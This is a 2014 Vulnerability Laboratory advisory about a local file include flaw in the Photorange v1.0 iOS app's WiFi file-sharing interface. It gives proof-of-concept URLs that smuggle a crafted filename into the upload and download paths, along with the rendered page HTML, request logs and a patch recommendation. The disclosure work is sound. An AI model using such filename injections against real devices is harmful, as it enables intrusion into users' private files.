459 lines
No EOL
20 KiB
Text
459 lines
No EOL
20 KiB
Text
Document Title:
|
||
===============
|
||
Photorange v1.0 iOS - File Include Web Vulnerability
|
||
|
||
|
||
References (Source):
|
||
====================
|
||
http://www.vulnerability-lab.com/get_content.php?id=1318
|
||
|
||
|
||
Release Date:
|
||
=============
|
||
2014-09-07
|
||
|
||
|
||
Vulnerability Laboratory ID (VL-ID):
|
||
====================================
|
||
1318
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
6.3
|
||
|
||
|
||
Product & Service Introduction:
|
||
===============================
|
||
The BEST and MOST Convenient Private Photo & Video & Docs App! Photorange provides a secure Password System to keep your
|
||
secret files 100% private. Your files are ONLY stored on your device and we can never touch them.
|
||
|
||
( Copy of the Vendor Homepage: https://itunes.apple.com/en/app/photorange-schutz-privat-foto/id896041290 )
|
||
|
||
|
||
Abstract Advisory Information:
|
||
==============================
|
||
The Vulnerability Laboratory discovered a local file include web vulnerability in the official Photorange v1.0 iOS mobile web-application.
|
||
|
||
|
||
Vulnerability Disclosure Timeline:
|
||
==================================
|
||
2014-09-08: Public Disclosure (Vulnerability Laboratory)
|
||
|
||
|
||
Discovery Status:
|
||
=================
|
||
Published
|
||
|
||
|
||
Affected Product(s):
|
||
====================
|
||
Jiajun Kuang
|
||
Product: Photorange - iOS Mobile Web Application 1.0
|
||
|
||
|
||
Exploitation Technique:
|
||
=======================
|
||
Local
|
||
|
||
|
||
Severity Level:
|
||
===============
|
||
High
|
||
|
||
|
||
Technical Details & Description:
|
||
================================
|
||
A local file include web vulnerability has been discovered in the official Photorange v1.0 iOS mobile web-application.
|
||
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or
|
||
system specific path commands to compromise the mobile web-application.
|
||
|
||
The web vulnerability is located in the `filename` value of the `add file` module. Remote attackers are able to inject own files with
|
||
malicious `filename` values in the `sync` device POST method request to compromise the mobile web-application. The local file/path include
|
||
execution occcurs in the file dir index web interface through the download path next to the vulnerable name/path value. The attacker is able
|
||
to inject the local file request by usage of the available `wifi interface` for file exchange via sync.
|
||
|
||
Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute
|
||
different local malicious attack requests. The attack vector is on the application-side of the wifi service and the request method to
|
||
inject is POST via Sync.
|
||
|
||
The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system)
|
||
count of 6.3. Exploitation of the local file include web vulnerability requires no privileged web-application user account but low
|
||
user interaction. Successful exploitation of the local file include web vulnerability results in mobile application or connected
|
||
device component compromise.
|
||
|
||
|
||
Request Method(s):
|
||
[+] [Sync] [POST]
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] filename
|
||
|
||
Affected Module(s):
|
||
[+] Index File Dir Listing (Web Interface - http://localhost:9900/ )
|
||
|
||
|
||
Proof of Concept (PoC):
|
||
=======================
|
||
The local file include web vulnerability can be exploited by local attackers without privileged application user account or user interaction.
|
||
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
|
||
|
||
PoC: Exploit
|
||
http://localhost:9900/%3E%22%3E%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E.TXT
|
||
http://localhost:9900/Download/%3E%22%3E%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E.TXT
|
||
|
||
|
||
|
||
PoC: Web Interface - Index Dir Listing
|
||
|
||
<html><head>
|
||
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
|
||
<title>WiFi web access</title>
|
||
</head><body><fontbase family="Arial,Verdana">
|
||
<style type="text/css">
|
||
a, div{
|
||
font-family: Arial,Verdana;
|
||
}
|
||
body {
|
||
background-color: silver;
|
||
position: relative;
|
||
height: 100%;
|
||
}
|
||
hr {
|
||
height: 1px;
|
||
border: none;
|
||
border-top: 1px solid #DDDDDD;
|
||
}
|
||
#content {
|
||
background-color: white;
|
||
border-style: dashed;
|
||
border-color: silver;
|
||
border-width: 1px;
|
||
position: absolute;
|
||
width: 98%;
|
||
left: 10px;
|
||
top: 10px;
|
||
z-index: 333;
|
||
}
|
||
.aImg {
|
||
margin-left: 10px;
|
||
margin-right: 10px;
|
||
margin-top: 20px;
|
||
border:none;
|
||
}
|
||
/*.aFod {
|
||
color: GrayText;
|
||
text-decoration: none;
|
||
width: 50px;
|
||
height: 50px;
|
||
}*/
|
||
#progress-bar-background {
|
||
width: 100%;
|
||
height: 100%;
|
||
/*background:silver url('/Web/left.ico') no-repeat;*/
|
||
background: silver;
|
||
position: absolute;
|
||
top:0;
|
||
pointer-events:none;
|
||
cursor: pointer;
|
||
}
|
||
#file-uploader-text {
|
||
width: 155px;
|
||
height: 30px;
|
||
text-align: center;
|
||
line-height: 30px;
|
||
cursor: pointer;
|
||
}
|
||
#file-uploader {
|
||
width: 155px;
|
||
height: 30px;
|
||
left: 18px;
|
||
position: absolute;
|
||
top: 0;
|
||
opacity: 0;
|
||
filter: alpha(opacity=0);
|
||
cursor: pointer;
|
||
}
|
||
#progress-bar-value {
|
||
width: 0%;
|
||
height: 100%;
|
||
background: #2B90D3;
|
||
}
|
||
.btnText {
|
||
width: 155px;
|
||
height: 30px;
|
||
text-align: center;
|
||
line-height: 30px;
|
||
cursor: pointer;
|
||
font-size: 13px;
|
||
text-align: center;
|
||
color: white;
|
||
}
|
||
#submit-link {
|
||
display: none;
|
||
position: absolute;
|
||
top: 7px;
|
||
left: 200px;
|
||
}
|
||
#stop-uploading-link {
|
||
display: none;
|
||
position: absolute;
|
||
top: 7px;
|
||
left: 200px;
|
||
}
|
||
</style>
|
||
|
||
<link href="/Web/uploadify/uploadify.css" rel="stylesheet" type="text/css" media="screen">
|
||
<script type="text/javascript" src="/Web/uploadify/jquery.min.js"></script>
|
||
<script type="text/javascript" src="/Web/uploadify/jquery.uploadify.js"></script>
|
||
|
||
<script language="javascript">
|
||
var currentFolderPath = '/';
|
||
var alertMessage = "null";
|
||
var actionType = "Show";
|
||
var submitting = false;
|
||
var tipHiddenTop = -200;
|
||
var tipShownTop = -80;
|
||
var lastShownTipDate;
|
||
|
||
if (alertMessage != "null") {
|
||
alert(alertMessage);
|
||
}
|
||
|
||
function tippable() {
|
||
var currentTop = document.getElementById("tip").style.top;
|
||
currentTop = currentTop.substring(0, currentTop.length-2);
|
||
currentTop = Number(currentTop);
|
||
|
||
var not = ((currentTop > tipHiddenTop) && (currentTop < tipShownTop))
|
||
return !not;
|
||
}
|
||
|
||
function hideTip() {
|
||
var tip = document.getElementById("tip");
|
||
tip.style.top = tipHiddenTop;
|
||
}
|
||
|
||
function showTip() {
|
||
|
||
var tip = document.getElementById("tip");
|
||
tip.style.top = tipShownTop;
|
||
lastShownTipDate = new Date();
|
||
setTimeout("if((new Date()).getTime()-lastShownTipDate.getTime()>=4900){hideTip();}", 5000);
|
||
}
|
||
|
||
function aClickHandler(tag) {
|
||
if (submitting) {
|
||
return;
|
||
}
|
||
|
||
if (actionType == "Show")
|
||
{
|
||
if (tag.className == "image") {
|
||
document.body.style.overflow = "hidden"; //禁止body滚动
|
||
var wrap = document.getElementById("wrap");
|
||
wrap.style.display = "block";
|
||
var src = "/" + actionType + tag.name;
|
||
wrap.innerHTML = "<iframe id='photo-viewer' src='" + src + "' style='position:absolute;width:100%;height:100%' frameborder='no' scrolling='no' allowtransparency='yes' />";
|
||
}
|
||
else {
|
||
if (!tippable()) {
|
||
return;
|
||
}
|
||
|
||
document.getElementById("tip").style.top = tipHiddenTop;
|
||
document.getElementById("tip-content").innerHTML = "Jetzt kann nur Bild im Browser gesehen werden.";
|
||
showTip();
|
||
}
|
||
}
|
||
else {
|
||
var download = "/" + actionType + tag.name;
|
||
location.href = download;
|
||
}
|
||
}
|
||
function dClickHandler(tag) {
|
||
if (submitting) {
|
||
return;
|
||
}
|
||
|
||
location.href = tag.name;
|
||
}
|
||
|
||
function removePhotoViewer()
|
||
{
|
||
var wrap = document.getElementById("wrap");
|
||
wrap.innerHTML = "";
|
||
wrap.style.display = "none";
|
||
|
||
document.body.style.overflow = "auto";
|
||
}
|
||
|
||
function setViewMode()
|
||
{
|
||
var switchBg = document.getElementById("switch-bg");
|
||
var __switch = document.getElementById("switch");
|
||
|
||
switchBg.style.backgroundColor = "silver";
|
||
__switch.style.backgroundColor = "#2B90D3";
|
||
}
|
||
function setDownloadMode()
|
||
{
|
||
var switchBg = document.getElementById("switch-bg");
|
||
var __switch = document.getElementById("switch");
|
||
|
||
switchBg.style.backgroundColor = "#2B90D3";
|
||
__switch.style.backgroundColor = "silver";
|
||
}
|
||
function switchMode() {
|
||
if (!tippable()) {
|
||
return;
|
||
}
|
||
|
||
var ifInDownloadMode = (actionType == "Download");
|
||
actionType = ifInDownloadMode ? "Show" : "Download";
|
||
var ifInDownloadModeNow = !ifInDownloadMode;
|
||
if (ifInDownloadModeNow)
|
||
{
|
||
setDownloadMode();
|
||
document.getElementById("tip").style.top = tipHiddenTop;
|
||
document.getElementById("tip-content").innerHTML = "Tipp: anklicken irgend ein Daumennagel zum Herunterladen";
|
||
showTip();
|
||
}
|
||
else {
|
||
setViewMode();
|
||
hideTip();
|
||
}
|
||
}
|
||
|
||
$(document).ready(function () {
|
||
$("#file-upload").uploadify({
|
||
height : 30,
|
||
swf : '/Web/uploadify/uploadify.swf',
|
||
uploader : 'upload.html',
|
||
width : 120,
|
||
onQueueComplete : function(queueData) {
|
||
location.reload();
|
||
},
|
||
buttonText : "<22>berliefern",
|
||
onUploadStart : function(file) {
|
||
$.post("/setCurrent"+currentFolderPath, {}, function(data){}, "json");
|
||
$.post("/ifReachTheLimit/"+file.name, {}, function(data){ $("#file-upload").uploadify('stop'); }, "json");
|
||
}
|
||
});
|
||
document.getElementById("file-upload").style.left = "15px";
|
||
});
|
||
|
||
</script>
|
||
|
||
|
||
<div id="tip" style="position:absolute; top:-200px; left:40%; z-index:2000">
|
||
<img style="" src="/Web/tip.png">
|
||
<div id="tip-content" style="position:absolute; left:0px; top:120px; z-index:2001; text-align:center; color:white; width:300px;">
|
||
Tip: how to do
|
||
</div>
|
||
</div>
|
||
|
||
<div id="content" onselectstart="return false;">
|
||
<a href="/logout.html" style="float:right; margin:10px;">outloggen</a>
|
||
|
||
<h1 style="margin-left:10px; font-weight:lighter;">WiFi web access</h1>
|
||
|
||
<div id="buttons" style="position:relative; left:10px; height:60px;">
|
||
|
||
<a href="/back.html" style="text-decoration:none; position:absolute; top:0; left:0;"><img src="/Web/back3.png" style="width:25px; height:25px; border:none; vertical-align:middle"> Oberverzeichnis [aktuell:/]</a>
|
||
|
||
<!--mode-->
|
||
<div id="switch-bg" style="width:250px; height:30px; background:silver no-repeat; position:absolute; right:20px; text-align:right; line-height:30px; color:#E9E3E3; cursor:hand; bottom:-30; right:30px; padding-right:5px;" onclick="switchMode();">
|
||
herunterladen
|
||
<div id="switch" style="position:absolute; top:0; left:0; width:50%; height:100%; background:#2B90D3 no-repeat; text-align:left; padding-left:5px">
|
||
durchlesen
|
||
</div>
|
||
</div>
|
||
<!--mode end-->
|
||
</div>
|
||
<!--buttons end-->
|
||
|
||
<div style="height: 30px; width: 120px; left: 15px;" class="uploadify" id="file-upload"><object style="position: absolute; z-index: 1;" id="SWFUpload_0" type="application/x-shockwave-flash" data="/Web/uploadify/uploadify.swf" class="swfupload" height="30" width="120"><param name="wmode" value="transparent"><param name="movie" value="/Web/uploadify/uploadify.swf"><param name="quality" value="high"><param name="menu" value="false"><param name="allowScriptAccess" value="always"><param name="flashvars" value="movieName=SWFUpload_0&uploadURL=%2Fupload.html&useQueryString=false&requeueOnError=false&httpSuccess=&assumeSuccessTimeout=30<33>ms=&filePostName=Filedata&fileTypes=*.*&fileTypesDescription=All%20Files&fileSizeLimit=0&fileUploadLimit=0&fileQueueLimit=999&debugEnabled=false&buttonImageURL=%2F&buttonWidth=120&buttonHeight=30&buttonText=&buttonTextTopPadding=0&buttonTextLeftPadding=0&buttonTextStyle=color%3A%20%23000000%3B%20font-size%3A%2016pt%3B&buttonAction=-110&buttonDisabled=false&buttonCursor=-2"></object><div style="height: 30px; line-height: 30px; width: 120px;" class="uploadify-button " id="file-upload-button"><span class="uploadify-button-text"><3E>berliefern</span></div></div><div class="uploadify-queue" id="file-upload-queue"></div>
|
||
<hr>
|
||
|
||
<a href="#" name="/2.png" class="image" onclick="aClickHandler(this);"><img class="aImg" src="/2.png_THUMBNAIL" height="60px" width="60px"></a><a href="#" name="/2_43698027.png" class="image" onclick="aClickHandler(this);"><img class="aImg" src="/2_43698027.png_THUMBNAIL" height="60px" width="60px"></a><a href="#" name="/>"><./[LOCAL FILE INCLUDE VULNERABILITY!].TXT" class="document" onclick="aClickHandler(this);" style="position:relative; text-decoration:none;"><img class="aImg" style="" src="/Web/TXT0.png" height="60px" width="60px"><div class="name" style="position:absolute; top:1px !important; top:65px; height:17px; left:10px !important; left:2px; width:60px; text-align:center; opacity:0.8; filter:alpha(opacity=80); color:black; font-size:10px; line-height:18px;z-index:2000;">>"><./[LOCAL FILE INCLUDE VULNERABILITY!].TXT</div></a><br/><br/><br/>
|
||
</div>
|
||
|
||
<div id="wrap" style="background-color:black; top:0; left:0; width:100%; height:100%; position:absolute; z-index:1000; display:none;">
|
||
</div>
|
||
<!--wrap end-->
|
||
</body>
|
||
</html></iframe></div></a></div></fontbase></body></html>
|
||
|
||
|
||
--- PoC Session Logs [GET] ---
|
||
Status: 200[OK]
|
||
GET http://localhost:9900/Download/%3E%22%3E%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E.TXT Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr<47><72>e des Inhalts[17] Mime Type[application/download]
|
||
Request Header:
|
||
Host[localhost:9900]
|
||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
|
||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||
Accept-Encoding[gzip, deflate]
|
||
Referer[http://localhost:9900/]
|
||
Connection[keep-alive]
|
||
Response Header:
|
||
Accept-Ranges[bytes]
|
||
Content-Length[17]
|
||
Content-Disposition[attachment; filename=%3E%22%3E%3C./[LOCAL FILE INCLUDE VULNERABILITY!]%3E.TXT]
|
||
Content-Type[application/download]
|
||
Date[Sat, 06 Sep 2014 00:13:00 GMT]
|
||
|
||
|
||
|
||
|
||
Reference(s): Links
|
||
http://localhost:9900/
|
||
http://localhost:9900/Download/
|
||
|
||
|
||
Solution - Fix & Patch:
|
||
=======================
|
||
The vulnerability can be pactehd by a secure parse and encode of the vulnerable filename value on sync or upload.
|
||
Filter and restrict the input to prevent further executions. Encode also the output name value listing in the index file dir module.
|
||
|
||
|
||
Security Risk:
|
||
==============
|
||
The security risk of the local file include web vulnerability in the filename value of the mobile application is estimated as high.
|
||
|
||
|
||
Credits & Authors:
|
||
==================
|
||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
|
||
|
||
|
||
Disclaimer & Information:
|
||
=========================
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
|
||
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
|
||
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
|
||
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
|
||
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
|
||
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
||
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
||
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
|
||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
|
||
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
|
||
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
|
||
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
|
||
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
||
|
||
Copyright <20> 2014 | Vulnerability Laboratory [Evolution Security]
|
||
|
||
|
||
--
|
||
VULNERABILITY LABORATORY RESEARCH TEAM
|
||
DOMAIN: www.vulnerability-lab.com
|
||
CONTACT: research@vulnerability-lab.com |